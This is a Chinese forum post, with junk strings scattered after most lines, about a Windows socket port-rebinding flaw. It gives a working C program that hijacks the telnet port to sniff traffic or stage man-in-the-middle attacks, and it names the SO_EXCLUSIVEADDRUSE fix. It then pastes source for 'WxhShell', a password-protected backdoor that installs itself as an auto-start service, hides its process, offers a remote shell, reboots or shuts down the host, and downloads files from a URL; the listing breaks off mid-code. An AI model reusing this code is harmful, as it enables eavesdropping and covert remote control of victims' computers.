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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xii>?sA5Z"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c+ D <  
v5>A1\  
  saddr.sin_family = AF_INET; [?%q,>F  
e,N}z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); is }>+&_  
]Hp>~Zvbb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XeX\u3<D  
n{u\t+f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B*Q9g r  
e:%|.$4OG  
  这意味着什么?意味着可以进行如下的攻击: H2H`7 +I,  
2ah%,o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mg #yl\v  
I4W@t4bZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !O,Sq/=.  
o]E L=j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vJLGy]  
KL3Z(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  > vdmN]  
>H^#!eaqw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e2f+Fv 9  
{`QA.he.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W1 k]P.  
6<EGH*GQ$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q`,%L1c4  
[Ur\^wS  
  #include Y{D%v  
  #include x-"8V(  
  #include Z:dp/M}  
  #include    P#O2MiG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S=(<m%f  
  int main() Y=p!xr>  
  { h);^4cU  
  WORD wVersionRequested; M?!@L:b[  
  DWORD ret; H1 I^Vij  
  WSADATA wsaData; y~fKLIoz"  
  BOOL val; w9{C"K?u=  
  SOCKADDR_IN saddr; As<B8e]  
  SOCKADDR_IN scaddr; +x(#e'6p  
  int err; R*:>h8  
  SOCKET s; [% C,&h5  
  SOCKET sc; RN[I%^$"  
  int caddsize; SRwD`FF  
  HANDLE mt; AH|gI2  
  DWORD tid;   ;xZjt4M1  
  wVersionRequested = MAKEWORD( 2, 2 ); } vmRm*8z  
  err = WSAStartup( wVersionRequested, &wsaData ); 8 q@Z  
  if ( err != 0 ) { pZ& ,YX  
  printf("error!WSAStartup failed!\n"); &'SD1m1P  
  return -1; 4b:|>Z-  
  } PVsKI<  
  saddr.sin_family = AF_INET; #,%7tXOLR  
   7 !$[XD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s{-gsSmE  
MF8-q'upyT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e"ehH#i  
  saddr.sin_port = htons(23); =5q<_as  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d=/0A\O  
  { J0?kEr  
  printf("error!socket failed!\n"); |M7cB$y  
  return -1; P( hGkY=(  
  } X_]rtG  
  val = TRUE; xSm;~')g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 & 3BoK/y3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |'q%9 #  
  { 'v"=   
  printf("error!setsockopt failed!\n"); |;vQ"8J  
  return -1; SVZocTt  
  } g1s%x=7/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #;$]M4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pFvu,Q"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X H-_tvB  
HeOdCr-PN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ){*+s RBW  
  { c2y,zq|H  
  ret=GetLastError(); 5&ku]l+  
  printf("error!bind failed!\n"); K]hp-QK<  
  return -1; $"r9U|6kk  
  } )th[fUC(  
  listen(s,2); Q?#I{l)V(  
  while(1) 2;8m0+tl  
  { uh )S;3|  
  caddsize = sizeof(scaddr); 1^!SuAA@  
  //接受连接请求 >Icr4?zq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;V xRaj?  
  if(sc!=INVALID_SOCKET) BmG(+;;&  
  { QO2cTk m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vrkY7L3\  
  if(mt==NULL) /ad9Q~nJ  
  { U ? +_\  
  printf("Thread Creat Failed!\n"); x4oWZEd  
  break; 4J2^zx,H  
  } cCe~Ol XQ  
  } l4OrlS/5  
  CloseHandle(mt); >]\I:T  
  } c.ow4~>  
  closesocket(s); 5E&#Kh(I  
  WSACleanup(); Z0F~?  
  return 0; _)M,p@!?=h  
  }   F$C6( C?  
  DWORD WINAPI ClientThread(LPVOID lpParam) 23s;O))  
  { \D7bTn  
  SOCKET ss = (SOCKET)lpParam; qqrjI.  
  SOCKET sc; CD$#}Id  
  unsigned char buf[4096]; 'X^auyL  
  SOCKADDR_IN saddr; #Wk=y?sn  
  long num; e-nA>v  
  DWORD val; @^P^- B  
  DWORD ret; -8Jw_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CM;b_E)9)f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =p+y$  
  saddr.sin_family = AF_INET; !%iHJwS#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E TT46%Y  
  saddr.sin_port = htons(23); Ld4U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UB/> Ro  
  { ZJYn[\]  
  printf("error!socket failed!\n"); 1( pHC  
  return -1; Wg']a/m  
  } J ^'El^F  
  val = 100; CMa6':~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [#PE'i4  
  { k }=<51c  
  ret = GetLastError(); kZ40a\9 Ye  
  return -1; Zf'*pp T&q  
  } z p E|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) apvcWF%  
  { eS`VI+=@0  
  ret = GetLastError(); ]A*}Dem*5  
  return -1; OtG\Uw8  
  } rE3dHJN;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {&  o^p!  
  { t" .Ytz>  
  printf("error!socket connect failed!\n"); i0vm00oT  
  closesocket(sc); X8 nos  
  closesocket(ss); |>.Q U3  
  return -1; p0+^wXi)  
  } RB5SK#z  
  while(1) v pI9TG  
  { XYEwn_Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IG781:,/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !wAT`0<94F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |=?#Xbxz  
  num = recv(ss,buf,4096,0); NAbVH{*\U  
  if(num>0) asT-=p_ 0.  
  send(sc,buf,num,0); oQ!M+sRmF  
  else if(num==0) :E:e ^$p  
  break; mk-{@$QJb  
  num = recv(sc,buf,4096,0); zWHq4@K  
  if(num>0) (]|h6aI'}  
  send(ss,buf,num,0); x9_mlZ  
  else if(num==0) bc)>h!'Y  
  break; 2hh8G5IaQ  
  } iOE. .xA:  
  closesocket(ss); o/5-T4  
  closesocket(sc); ARk(\,h  
  return 0 ; *rxr:y#Ve  
  } 5/meH[R\M  
Ve,g9I  
!"<[&  
========================================================== LP<A q  
_plK(g-1J%  
下边附上一个代码,,WXhSHELL zLI0RI.Pe  
}z3j7I  
==========================================================  g'0CYY  
+#O+%!  
#include "stdafx.h" >Vuvbo   
VYvfx  
#include <stdio.h> K_7pr~D]@r  
#include <string.h> 3EoCEPb#  
#include <windows.h> jc^QWK*q  
#include <winsock2.h> Lb*KEF%s  
#include <winsvc.h> ^ Ltho`  
#include <urlmon.h> -yqsJGY  
>I5:@6 Z  
#pragma comment (lib, "Ws2_32.lib") !Ok(mgV$/  
#pragma comment (lib, "urlmon.lib") -YRIe<}E -  
F:{*4b  
#define MAX_USER   100 // 最大客户端连接数 Q$jEmmm%V[  
#define BUF_SOCK   200 // sock buffer Dk1& <} I  
#define KEY_BUFF   255 // 输入 buffer 5!-TLwl`j\  
%fS9F^AK  
#define REBOOT     0   // 重启 Oy6fl'FIt  
#define SHUTDOWN   1   // 关机 0-2|(9 Kc  
b}e1JPk}!  
#define DEF_PORT   5000 // 监听端口 jHLs 5%  
D=tZ}_'{t  
#define REG_LEN     16   // 注册表键长度 $a(-r-_Fi]  
#define SVC_LEN     80   // NT服务名长度 Zk3Pv0c  
eA!o#O.  
// 从dll定义API D6 B-#u!M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @^{Hq6_`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2 $>DX\h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z\&f"z?L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sD|l}f  
h Yu6PWK  
// wxhshell配置信息 Z;0~f<e%  
struct WSCFG { X{9^$/XsJ  
  int ws_port;         // 监听端口 q z)2a2C  
  char ws_passstr[REG_LEN]; // 口令 a#oROb-*~  
  int ws_autoins;       // 安装标记, 1=yes 0=no #&3,T1i`  
  char ws_regname[REG_LEN]; // 注册表键名 r pNb.  
  char ws_svcname[REG_LEN]; // 服务名 .`or^`X3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +pofN-*%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >{#JIG.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %#6@PQ[R.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fF Q|dE;cF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TlG>)Z@/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b#j:)PA0C  
2HbnE&  
}; e UPa5{P  
9&mSF0q  
// default Wxhshell configuration #Z&/w.D2  
struct WSCFG wscfg={DEF_PORT, 1? >P3C  
    "xuhuanlingzhe", SzULy >e  
    1, ^-o{3Q(w  
    "Wxhshell", /:dLqyQ_V  
    "Wxhshell", }nmlN  
            "WxhShell Service", 2YD\KXDo  
    "Wrsky Windows CmdShell Service", i FI74COam  
    "Please Input Your Password: ", #]#9Xq  
  1, x*7@b8J  
  "http://www.wrsky.com/wxhshell.exe", Q>niJ'7WF  
  "Wxhshell.exe" uF ?[H -y  
    }; Hv,|XE@Y  
Ufr@j` *  
// 消息定义模块 pR0[qsQM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ggso9ZlLu+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WBe0^=x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4GYi'  
char *msg_ws_ext="\n\rExit."; lExQp2E  
char *msg_ws_end="\n\rQuit."; WQ|:TLQ  
char *msg_ws_boot="\n\rReboot..."; J^!;$Hkd  
char *msg_ws_poff="\n\rShutdown..."; |IxHtg3>6{  
char *msg_ws_down="\n\rSave to "; OL'Ito  
P.~UU S  
char *msg_ws_err="\n\rErr!"; | dQ>)_  
char *msg_ws_ok="\n\rOK!"; W4$o\yA]  
(d9~z  
char ExeFile[MAX_PATH]; ' jciX]g  
int nUser = 0; MK< y$B{}  
HANDLE handles[MAX_USER]; ('J/Ww<  
int OsIsNt; o3WOp80hz  
/:|vJ|dJ  
SERVICE_STATUS       serviceStatus; >P6"-x,["  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oFk2y^>u  
a~o <>H  
// 函数声明 XF`2*:7  
int Install(void); P^Hgm  
int Uninstall(void); h]7_ N,  
int DownloadFile(char *sURL, SOCKET wsh); c:Ua\$)u3,  
int Boot(int flag); h>Kx  
void HideProc(void); ,EqQU|  
int GetOsVer(void); *v<f#hB"  
int Wxhshell(SOCKET wsl); kk4 |4  
void TalkWithClient(void *cs); #G9 W65f  
int CmdShell(SOCKET sock); sz7*x{E  
int StartFromService(void); d0J /"<  
int StartWxhshell(LPSTR lpCmdLine); ! j~wAdHk  
DP_b9o \5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Iix,}kzss  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vHaM yA-  
Bfb~<rs[  
// 数据结构和表定义 ct+F\:e  
SERVICE_TABLE_ENTRY DispatchTable[] = R'c*CLaiE  
{ q~{) {t;  
{wscfg.ws_svcname, NTServiceMain}, c r=Q39{  
{NULL, NULL} *)^6'4=  
}; manw;`Q  
RB>=#03  
// 自我安装 srS!X$cec  
int Install(void) A|biOz  
{ .:_'l)-  
  char svExeFile[MAX_PATH]; U1 `5P!ov  
  HKEY key; J"gMm@#C4  
  strcpy(svExeFile,ExeFile); D]]e6gF$e  
%0\@\fC41  
// 如果是win9x系统,修改注册表设为自启动 Sv=YI  
if(!OsIsNt) { 6@]o,O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $q!A1Fgk0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Tx_`rO4VY  
  RegCloseKey(key); ?<Qbp;WBo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q` S ~w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y:*% [\R  
  RegCloseKey(key); ~!uX"F8Xl  
  return 0; z']6C9m}  
    } xj5TnE9^  
  } KGt:  
} fy+5i^{=  
else { g-3^</_fZ  
+'F;\E  
// 如果是NT以上系统,安装为系统服务 Ir;JYY!0?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lg4|6.Ez|P  
if (schSCManager!=0) /R&`]9].s  
{ 5:PS74/  
  SC_HANDLE schService = CreateService ?XKX&ws  
  ( O:BdZ5 b  
  schSCManager, wm@m(ArE=  
  wscfg.ws_svcname, 5Fydh0.  
  wscfg.ws_svcdisp, @ZEBtM%.O  
  SERVICE_ALL_ACCESS, =DwLNyjU4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'O a3 6@  
  SERVICE_AUTO_START, gUiO66#x  
  SERVICE_ERROR_NORMAL, 082}=Tsx   
  svExeFile, bRo<~ rp%  
  NULL, 7i5B=y7b  
  NULL, P" c@V,.  
  NULL, `IN!#b+Eo  
  NULL, ?K$&|w%{3  
  NULL FNGa4  
  ); WcmX"{  
  if (schService!=0) ^y,h0?Z9  
  { aEf3hB*~  
  CloseServiceHandle(schService); :N8n6)#1=  
  CloseServiceHandle(schSCManager); xMbgBx4+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t 7Y*/v&P(  
  strcat(svExeFile,wscfg.ws_svcname); @9^OHRZX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w4fKh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j"Jf|Hq $  
  RegCloseKey(key); !7t&d  
  return 0; bQD8#Ml1  
    } [ G 9Pb)  
  } =r]l"T  
  CloseServiceHandle(schSCManager); Xg~9<BGsi  
} stiF`l  
} RvG=GJJ9  
)\])?q61  
return 1; j_C"O,WS  
} Nuqmp7C  
AojL4H|  
// 自我卸载 y\v#qFVOZ  
int Uninstall(void) ~\=D@G,9  
{ 7U7!'xU  
  HKEY key; ~vTwuc\(H  
eEXNEgbn  
if(!OsIsNt) { #91^1jyMf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yPE3Awh5  
  RegDeleteValue(key,wscfg.ws_regname); U\%r33L )  
  RegCloseKey(key); RUY7Y?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O=__w *<  
  RegDeleteValue(key,wscfg.ws_regname); G#[A'tbKk  
  RegCloseKey(key); *iB&tWv  
  return 0; eb7UA=[Z  
  } 3cHYe  
} A=kOSq 4Q  
} Cab-:2L]  
else { k"#gSCW$  
4?Y7. :x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aEdA'>  
if (schSCManager!=0) WIU]>_$.  
{ !<TkX/O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zgY VB}  
  if (schService!=0) x[mz`0  
  { xVB rwkk(  
  if(DeleteService(schService)!=0) { "U^m~N9k{  
  CloseServiceHandle(schService); #E+ybwA  
  CloseServiceHandle(schSCManager); @QTw9,pS  
  return 0; 1G]D:9-?  
  } l%}q&_  
  CloseServiceHandle(schService); :G>w MMv&z  
  } I^EZs6~  
  CloseServiceHandle(schSCManager); =r+K2]z,L  
} x8aOXN#w}  
} LZ wCe$1  
yF\yxdUX#  
return 1;  Gd A!8  
} WVD48}HF-  
yKhI&  
// 从指定url下载文件 )W=O~g  
int DownloadFile(char *sURL, SOCKET wsh) _-BP?'lN  
{ lU 62$2  
  HRESULT hr; u xyj6(  
char seps[]= "/"; 7c"Csq/]I  
char *token; R'sNMWM  
char *file; .@): Uh  
char myURL[MAX_PATH]; J4ZHE\  
char myFILE[MAX_PATH]; j7)mC4o:%  
%%ouf06.|  
strcpy(myURL,sURL); (Yz[SK=U}  
  token=strtok(myURL,seps); a0hBF4+6  
  while(token!=NULL) Sm<*TH!\n_  
  { ~AjPa}@ f  
    file=token; ]AQ}_dRi=  
  token=strtok(NULL,seps); frUs'j/bZ  
  } c\n_[r  
LxIGPC~  
GetCurrentDirectory(MAX_PATH,myFILE); 3w)r""C&  
strcat(myFILE, "\\"); (s&:D`e  
strcat(myFILE, file); I?Iz5e-  
  send(wsh,myFILE,strlen(myFILE),0); ?L\"qz%gP  
send(wsh,"...",3,0); 6=n|Ha  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0g30nr)  
  if(hr==S_OK) f I=G>[  
return 0;  dwk%!%  
else tC|?Kl7  
return 1; ]y.V#,6e  
(o*YGYC  
} 7d R?70Sz  
d4ecF%R  
// 系统电源模块 w:lj4Z_  
int Boot(int flag) 1J0gjO)AZ  
{ PS" rXaY  
  HANDLE hToken; +YZo-tE  
  TOKEN_PRIVILEGES tkp; F%<*a,m6g  
!`%j#bv  
  if(OsIsNt) { XA<h,ONE?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oi|N8a2R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y5F+~z }{  
    tkp.PrivilegeCount = 1; KANR=G   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hlL$3.]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  FkrXM!mJ  
if(flag==REBOOT) { h,FU5iK|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +rU{-`dy9'  
  return 0; IDn<5#  
} ;4!H- qZ  
else { MlYm\x8{M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (1|wM+)"  
  return 0; 8!|vp7/  
} C W#:'  
  } Y Iwa =^  
  else { 0?$|F0U"J  
if(flag==REBOOT) { ~588M 8~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P!Fy kg  
  return 0; }Q4Vy  
} ?|kbIZP(  
else { AuK$KGCI=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )1!<<;@0  
  return 0; lS9S7`  
} @=l6zd@  
} ~(v5p"]dj  
OW#0$%f  
return 1; 6&0@k^7~  
} 5@+?{Cl  
<[\I`kzq  
// win9x进程隐藏模块 +# 'w} P  
void HideProc(void) 1Sz tN3'q  
{ AE>W$x8P  
#M|lBYdW}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o3`U;@&u  
  if ( hKernel != NULL ) p#jAEY p  
  { :se$<d%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0F-{YQr>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =s":Mx,o  
    FreeLibrary(hKernel); peu9B gs  
  } />mK.FT  
"'bl)^+?,  
return; YA,~qT|  
} lND2Kb  
OC*28)  
// 获取操作系统版本 IrQ.[?C  
int GetOsVer(void) 4 9N.P;b  
{ nrMW5>&-`  
  OSVERSIONINFO winfo; > )< ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }P?e31@:  
  GetVersionEx(&winfo); 0&s a#g2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %?+vtX  
  return 1; +ZNOvcsV  
  else \1G '{# Q  
  return 0; ,B'=$PO%  
} y:98}gW`n  
AC1RP`c  
// 客户端句柄模块 K7`6G[RMb  
int Wxhshell(SOCKET wsl) hUi@T}aA|  
{ DAb/B  
  SOCKET wsh; r|UJJ9i  
  struct sockaddr_in client; 1l$ C3c  
  DWORD myID; %4m Nk}tyH  
g8uqW1E^  
  while(nUser<MAX_USER) dvjj"F'Bf  
{ UgAp9$=z  
  int nSize=sizeof(client); 0]bt}rh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fY9+m}$S$  
  if(wsh==INVALID_SOCKET) return 1; exJc[G&t(  
^%,{R},s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YA$YT8iMe  
if(handles[nUser]==0) ,5v'hG  
  closesocket(wsh); =xm7i#1  
else IWu=z!mO  
  nUser++; q  
  } '(@q"`n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZwBz\jmbP  
IMwV9rF  
  return 0; KbLSK  
} $h p UI  
%CHw+wT&  
// 关闭 socket Cd)g8<  
void CloseIt(SOCKET wsh) 0YFXF  
{ eZOR{|z  
closesocket(wsh); (0.oE%B",1  
nUser--; }y6@YfV${  
ExitThread(0); nDdY~f.B  
} ~'lT8 n_  
IOZw[9](+  
// 客户端请求句柄  q6F1Rt  
void TalkWithClient(void *cs) < 8' b  
{ r1< 'l  
yF(9=z"?  
  SOCKET wsh=(SOCKET)cs; A#cFO)"  
  char pwd[SVC_LEN]; i'li;xUhZ  
  char cmd[KEY_BUFF]; cxs@ph&Wk  
char chr[1]; $B-/>Rz  
int i,j; %TQ4 ZFD3  
|p[Mp:^^  
  while (nUser < MAX_USER) { &Tt7VYJfIV  
-+@N/d5  
if(wscfg.ws_passstr) { n#x_da-m]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]%D!-[C%1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pv5S k8  
  //ZeroMemory(pwd,KEY_BUFF); F%-@_IsG#  
      i=0; `f}s<At  
  while(i<SVC_LEN) { z )hK2JD  
8%CznAO"?W  
  // 设置超时 6 8,j~e3-i  
  fd_set FdRead; ,WWd%DF)  
  struct timeval TimeOut; .)[E`a  
  FD_ZERO(&FdRead); <8 <P,  
  FD_SET(wsh,&FdRead); V.:,Q  
  TimeOut.tv_sec=8; )!27=R/  
  TimeOut.tv_usec=0; 2*V%S/cck  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dPu27 "  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _MC',p&  
Eh8GqFEM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DQY1oM)D !  
  pwd=chr[0]; .zZfP+Q]8  
  if(chr[0]==0xd || chr[0]==0xa) { gGvL6Fu  
  pwd=0; qY8; k #  
  break; >KuNHuHu  
  } n~6$CQ5dF(  
  i++; u!D?^:u=)  
    } a?+C]u?_D  
c;]\$#2  
  // 如果是非法用户,关闭 socket \;Q(o$5<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jn{)CZ  
} O~qRHYv  
u;$qJjS N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B0b|+5WhR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k_}$d{X  
$V 3If  
while(1) { L?nhm=D  
esTL3 l{[  
  ZeroMemory(cmd,KEY_BUFF); t#P7'9Se8  
|.Vgk8oTl  
      // 自动支持客户端 telnet标准   v];YC6shx  
  j=0; 8i] S[$Fc  
  while(j<KEY_BUFF) { (Z>?\iNJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mh"PAp  
  cmd[j]=chr[0]; LAc60^t1  
  if(chr[0]==0xa || chr[0]==0xd) { u_WUJ_  
  cmd[j]=0; E|;>!MMA;  
  break; S*G^U1Sc+  
  } E|9`J00  
  j++; =)+^y}xb  
    } gH(#<f@ZI  
uq]=L  
  // 下载文件 Q<6* UUQm  
  if(strstr(cmd,"http://")) { +ZjDTTk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 25Z} .))  
  if(DownloadFile(cmd,wsh)) W]Xwt'ABz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %R4 \[e  
  else DtBvfYO8)>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HR?T  
  } Wy-_}wqHg  
  else { AAfU]4u0S  
}5PC53q  
    switch(cmd[0]) { spP[S"gI  
  | t:UpP  
  // 帮助 uSXnf  
  case '?': { RDSC@3%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l7T?Yx j  
    break; SVVEb6&  
  } $A~aNI  
  // 安装 ILDO/>n  
  case 'i': { &V axv$v}  
    if(Install()) !j7mY9x+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AB%i|t  
    else JG^GEJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \1<aBgK i  
    break; bJPKe]spJ=  
    } TqN@l\  
  // 卸载 v @M6D}  
  case 'r': { }~LGq.H  
    if(Uninstall()) On O_7'4 t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.UEs 8QV  
    else DW,ERQ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {w3<dfJ  
    break; J;XO1}9  
    } kJB:=iq/x$  
  // 显示 wxhshell 所在路径 .7 j#F  
  case 'p': { uDG>m7(}/h  
    char svExeFile[MAX_PATH]; Fp?M@  
    strcpy(svExeFile,"\n\r"); #@YKNS[  
      strcat(svExeFile,ExeFile); Ge=6l0  
        send(wsh,svExeFile,strlen(svExeFile),0); U4dfO=  
    break; *?Wz/OJ0  
    } ~h<T0Zc  
  // 重启 p/0dtnXa(  
  case 'b': { sE]z.Po=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N68]r 3/K  
    if(Boot(REBOOT)) V1Ft3Msq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hy#nK:B  
    else { x2fqfrr_]  
    closesocket(wsh); B7qi|Fw  
    ExitThread(0); 1Bs  t|  
    } j/oc+ M^  
    break; 8[@Y`j8  
    } ~a  V5  
  // 关机 zE8_3UC  
  case 'd': { 3s]o~I2x  
